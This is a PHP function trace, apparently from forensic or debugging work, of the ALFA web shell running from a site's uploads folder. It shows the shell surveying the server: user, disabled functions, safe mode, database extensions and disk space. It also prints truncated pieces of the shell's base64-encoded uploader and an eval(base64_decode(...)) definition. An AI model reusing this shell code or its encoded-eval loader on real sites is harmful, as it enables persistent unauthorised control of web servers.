2	36	R			'Lin'
2	37	0	0.013244	2767784	strtolower	0		/var/www/html/uploads/alfa.phtml	878	1	'Lin'
2	37	1	0.013256	2767848
2	37	R			'lin'
1		A						/var/www/html/uploads/alfa.phtml	881	GLOBALS['sys'] = 'unix'
2	38	0	0.013282	2767752	alfaGetCwd	1		/var/www/html/uploads/alfa.phtml	882	0
3	39	0	0.013294	2767752	function_exists	0		/var/www/html/uploads/alfa.phtml	737	1	'getcwd'
3	39	1	0.013308	2767792
3	39	R			TRUE
3	40	0	0.013321	2767752	getcwd	0		/var/www/html/uploads/alfa.phtml	738	0
3	40	1	0.013335	2767800
3	40	R			'/var/www/html/uploads'
2	38	1	0.013350	2767800
2	38	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/alfa.phtml	882	GLOBALS['home_cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/alfa.phtml	883	GLOBALS['need_to_update_header'] = 'false'
1		A						/var/www/html/uploads/alfa.phtml	884	GLOBALS['glob_chdir_false'] = FALSE
2	41	0	0.013402	2767800	alfaGetCwd	1		/var/www/html/uploads/alfa.phtml	890	0
3	42	0	0.013414	2767800	function_exists	0		/var/www/html/uploads/alfa.phtml	737	1	'getcwd'
3	42	1	0.013427	2767840
3	42	R			TRUE
3	43	0	0.013439	2767800	getcwd	0		/var/www/html/uploads/alfa.phtml	738	0
3	43	1	0.013452	2767848
3	43	R			'/var/www/html/uploads'
2	41	1	0.013467	2767848
2	41	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/alfa.phtml	890	GLOBALS['cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/alfa.phtml	898	['cwd'] .= '/'
2	44	0	0.013508	2767848	function_exists	0		/var/www/html/uploads/alfa.phtml	899	1	'sys_get_temp_dir'
2	44	1	0.013522	2767888
2	44	R			TRUE
2	45	0	0.013546	2767848	function_exists	0		/var/www/html/uploads/alfa.phtml	900	1	'mb_strlen'
2	45	1	0.013561	2767888
2	45	R			FALSE
2	46	0	0.013582	2767848	function_exists	0		/var/www/html/uploads/alfa.phtml	905	1	'mb_substr'
2	46	1	0.013624	2767888
2	46	R			FALSE
2	47	0	0.013640	2767848	function_exists	0		/var/www/html/uploads/alfa.phtml	910	1	'sys_get_temp_dir'
2	47	1	0.013653	2767888
2	47	R			TRUE
2	48	0	0.013666	2767848	sys_get_temp_dir	0		/var/www/html/uploads/alfa.phtml	910	0
2	48	1	0.013679	2767888
2	48	R			'/tmp'
2	49	0	0.013692	2767888	str_replace	0		/var/www/html/uploads/alfa.phtml	910	3	'\\'	'/'	'/tmp'
2	49	1	0.013706	2767984
2	49	R			'/tmp'
2	50	0	0.013719	2767888	is_writable	0		/var/www/html/uploads/alfa.phtml	910	1	'/tmp'
2	50	1	0.013743	2767928
2	50	R			TRUE
2	51	0	0.013757	2767856	sys_get_temp_dir	0		/var/www/html/uploads/alfa.phtml	910	0
2	51	1	0.013769	2767888
2	51	R			'/tmp'
2	52	0	0.013782	2767888	define	0		/var/www/html/uploads/alfa.phtml	910	2	'ALFA_TEMPDIR'	'/tmp'
2	52	1	0.013797	2767992
2	52	R			TRUE
2	53	0	0.013812	2767920	function_exists	0		/var/www/html/uploads/alfa.phtml	2399	1	'posix_getpwuid'
2	53	1	0.013826	2767960
2	53	R			TRUE
2	54	0	0.013838	2767920	function_exists	0		/var/www/html/uploads/alfa.phtml	2401	1	'posix_getgrgid'
2	54	1	0.013855	2767960
2	54	R			TRUE
2	55	0	0.013868	2767920	function_exists	0		/var/www/html/uploads/alfa.phtml	2459	1	'scandir'
2	55	1	0.013881	2767960
2	55	R			TRUE
2	56	0	0.013899	2767920	function_exists	0		/var/www/html/uploads/alfa.phtml	6162	1	'json_encode'
2	56	1	0.013912	2767960
2	56	R			TRUE
2	57	0	0.013924	2767920	function_exists	0		/var/www/html/uploads/alfa.phtml	6204	1	'json_decode'
2	57	1	0.013937	2767960
2	57	R			TRUE
2	58	0	0.013950	2767960	function_exists	0		/var/www/html/uploads/alfa.phtml	6520	1	'alfaFilesMan2'
2	58	1	0.013964	2768000
2	58	R			TRUE
1		A						/var/www/html/uploads/alfa.phtml	6521	_POST['a'] = 'FilesMan2'
2	59	0	0.013989	2768336	function_exists	0		/var/www/html/uploads/alfa.phtml	6524	1	'alfaFilesMan2'
2	59	1	0.014003	2768376
2	59	R			TRUE
2	60	0	0.014016	2768296	alfaFilesMan2	1		/var/www/html/uploads/alfa.phtml	6525	0
3	61	0	0.014034	2768296	alfahead	1		/var/www/html/uploads/alfa.phtml	2560	0
3		A						/var/www/html/uploads/alfa.phtml	912	GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3		A						/var/www/html/uploads/alfa.phtml	913	$alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4	62	0	0.014105	2770088	__ZW5jb2Rlcg	1		/var/www/html/uploads/alfa.phtml	914	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5	63	0	0.014133	2770088	vcnvSCZgBz	1		/var/www/html/uploads/alfa.phtml	119	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5		A						/var/www/html/uploads/alfa.phtml	68	$b = 'base64_encode'
6	64	0	0.014172	2770088	base64_encode	0		/var/www/html/uploads/alfa.phtml	69	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6	64	1	0.014199	2772680
6	64	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5	63	1	0.014230	2772648
5	63	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	62	1	0.014260	2772648
4	62	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	65	0	0.014291	2772648	define	0		/var/www/html/uploads/alfa.phtml	914	2	'ALFA_UPLOADER'	'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4	65	1	0.014319	2772752
4	65	R			TRUE
3		A						/var/www/html/uploads/alfa.phtml	966	_POST['charset'] = 'Windows-1251'
4	66	0	0.014347	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	967	1	'diskfreespace'
4	66	1	0.014360	2772720
4	66	R			TRUE
4	67	0	0.014373	2772680	diskfreespace	0		/var/www/html/uploads/alfa.phtml	967	1	'/var/www/html/uploads/'
4	67	1	0.014391	2772712
4	67	R			195997663232
3		A						/var/www/html/uploads/alfa.phtml	967	$freeSpace = 195997663232
4	68	0	0.014417	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	968	1	'disk_total_space'
4	68	1	0.014431	2772720
4	68	R			TRUE
4	69	0	0.014443	2772680	disk_total_space	0		/var/www/html/uploads/alfa.phtml	968	1	'/var/www/html/uploads/'
4	69	1	0.014458	2772712
4	69	R			232015802368
3		A						/var/www/html/uploads/alfa.phtml	968	$totalSpace = 232015802368
3		A						/var/www/html/uploads/alfa.phtml	969	$totalSpace = 232015802368
3		A						/var/www/html/uploads/alfa.phtml	970	$on = '<span class=\'header_on\'> ON </span>'
3		A						/var/www/html/uploads/alfa.phtml	971	$of = '<span class=\'header_off\'> OFF </span>'
3		A						/var/www/html/uploads/alfa.phtml	972	$none = '<span class=\'header_none\'> NONE </span>'
4	70	0	0.014529	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	973	1	'ssh2_connect'
4	70	1	0.014543	2772720
4	70	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	976	$ssh2 = '<span class=\'header_off\'> OFF </span>'
4	71	0	0.014567	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	977	1	'curl_version'
4	71	1	0.014580	2772720
4	71	R			TRUE
3		A						/var/www/html/uploads/alfa.phtml	978	$curl = '<span class=\'header_on\'> ON </span>'
4	72	0	0.014604	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	981	1	'mysql_get_client_info'
4	72	1	0.014618	2772720
4	72	R			FALSE
4	73	0	0.014630	2772680	class_exists	0		/var/www/html/uploads/alfa.phtml	981	1	'mysqli'
4	73	1	0.014644	2772720
4	73	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	984	$mysql = '<span class=\'header_off\'> OFF </span>'
4	74	0	0.014668	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	985	1	'mssql_connect'
4	74	1	0.014681	2772720
4	74	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	988	$mssql = '<span class=\'header_off\'> OFF </span>'
4	75	0	0.014705	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	989	1	'pg_connect'
4	75	1	0.014718	2772720
4	75	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	992	$pg = '<span class=\'header_off\'> OFF </span>'
4	76	0	0.014742	2772680	function_exists	0		/var/www/html/uploads/alfa.phtml	993	1	'oci_connect'
4	76	1	0.014755	2772720
4	76	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	996	$or = '<span class=\'header_off\'> OFF </span>'
4	77	0	0.014778	2772680	ini_get	0		/var/www/html/uploads/alfa.phtml	997	1	'disable_functions'
4	77	1	0.014792	2773160
4	77	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	78	0	0.014817	2772680	ini_get	0		/var/www/html/uploads/alfa.phtml	998	1	'disable_functions'
4	78	1	0.014830	2773160
4	78	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/alfa.phtml	998	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	79	0	0.014876	2773128	ini_get	0		/var/www/html/uploads/alfa.phtml	1001	1	'safe_mode'
4	79	1	0.014889	2773160
4	79	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	1004	$safe_modes = '<span class=\'header_on\'>OFF</span>'
3		A						/var/www/html/uploads/alfa.phtml	1005	$cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4	80	0	0.014932	2773128	ini_get	0		/var/www/html/uploads/alfa.phtml	1006	1	'open_basedir'
4	80	1	0.014945	2773160
4	80	R			''
3		A						/var/www/html/uploads/alfa.phtml	1013	$open_b = '<span class=\'header_none\'> NONE </span>'
4	81	0	0.014970	2773128	ini_get	0		/var/www/html/uploads/alfa.phtml	1014	1	'safe_mode_exec_dir'
4	81	1	0.014983	2773160
4	81	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	1017	$safe_exe = '<span class=\'header_none\'> NONE </span>'
4	82	0	0.015008	2773128	ini_get	0		/var/www/html/uploads/alfa.phtml	1018	1	'safe_mode_include_dir'
4	82	1	0.015021	2773160
4	82	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	1021	$safe_include = '<span class=\'header_none\'> NONE </span>'
4	83	0	0.015045	2773128	function_exists	0		/var/www/html/uploads/alfa.phtml	1022	1	'posix_getegid'
4	83	1	0.015059	2773168
4	83	R			TRUE
4	84	0	0.015071	2773128	function_exists	0		/var/www/html/uploads/alfa.phtml	1029	1	'posix_getpwuid'
4	84	1	0.015085	2773168
4	84	R			TRUE
4	85	0	0.015097	2773128	function_exists	0		/var/www/html/uploads/alfa.phtml	1029	1	'posix_geteuid'
4	85	1	0.015110	2773168
4	85	R			TRUE
4	86	0	0.015123	2773128	posix_geteuid	0		/var/www/html/uploads/alfa.phtml	1029	0
4	86	1	0.015136	2773128
4	86	R			33
4	87	0	0.015148	2773128	posix_getpwuid	0		/var/www/html/uploads/alfa.phtml	1029	1	33
4	87	1	0.015194	2773960
4	87	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3		A						/var/www/html/uploads/alfa.phtml	1029	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4	88	0	0.015238	2773928	function_exists	0		/var/www/html/uploads/alfa.phtml	1030	1	'posix_getgrgid'
4	88	1	0.015251	2773968
4	88	R			TRUE
4	89	0	0.015264	2773928	function_exists	0		/var/www/html/uploads/alfa.phtml	1030	1	'posix_getegid'
4	89	1	0.015277	2773968
4	89	R			TRUE
4	90	0	0.015290	2773928	posix_getegid	0		/var/www/html/uploads/alfa.phtml	1030	0
4	90	1	0.015302	2773928
4	90	R			33
4	91	0	0.015314	2773928	posix_getgrgid	0		/var/www/html/uploads/alfa.phtml	1030	1	33
4	91	1	0.015341	2774592
4	91	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/alfa.phtml	1030	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/alfa.phtml	1031	$user = 'www-data'
3		A						/var/www/html/uploads/alfa.phtml	1032	$uid = 33
3		A						/var/www/html/uploads/alfa.phtml	1033	$group = 'www-data'
3		A						/var/www/html/uploads/alfa.phtml	1034	$gid = 33
3		A						/var/www/html/uploads/alfa.phtml	1036	$cwd_links = ''
4	92	0	0.015427	2773208	explode	0		/var/www/html/uploads/alfa.phtml	1037	2	'/'	'/var/www/html/uploads/'
4	92	1	0.015441	2773816
4	92	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/alfa.phtml	1037	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/alfa.phtml	1038	$n = 6
3		A						/var/www/html/uploads/alfa.phtml	1039	$i = 0
3		A						/var/www/html/uploads/alfa.phtml	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.phtml	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.phtml	1042	$j = 0
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1046	$cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3		A						/var/www/html/uploads/alfa.phtml	1039	$i++
3		A						/var/www/html/uploads/alfa.phtml	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.phtml	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.phtml	1042	$j = 0
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1046	$cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3		A						/var/www/html/uploads/alfa.phtml	1039	$i++
3		A						/var/www/html/uploads/alfa.phtml	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.phtml	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.phtml	1042	$j = 0
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1046	$cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3		A						/var/www/html/uploads/alfa.phtml	1039	$i++
3		A						/var/www/html/uploads/alfa.phtml	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.phtml	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.phtml	1042	$j = 0
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1046	$cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3		A						/var/www/html/uploads/alfa.phtml	1039	$i++
3		A						/var/www/html/uploads/alfa.phtml	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/alfa.phtml	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/alfa.phtml	1042	$j = 0
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1043	$cwd_links .= 'uploads/'
3		A						/var/www/html/uploads/alfa.phtml	1044	$cach_cwd_path .= 'uploads/'
3		A						/var/www/html/uploads/alfa.phtml	1042	$j++
3		A						/var/www/html/uploads/alfa.phtml	1046	$cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3		A						/var/www/html/uploads/alfa.phtml	1039	$i++
3		A						/var/www/html/uploads/alfa.phtml	1048	$drives = ''
4	93	0	0.016176	2774560	range	0		/var/www/html/uploads/alfa.phtml	1049	2	'a'	'z'
4	93	1	0.016190	2775960
4	93	R			[0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4	94	0	0.016222	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'a:\\'
4	94	1	0.016243	2775968
4	94	R			FALSE
4	95	0	0.016258	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'b:\\'
4	95	1	0.016273	2775968
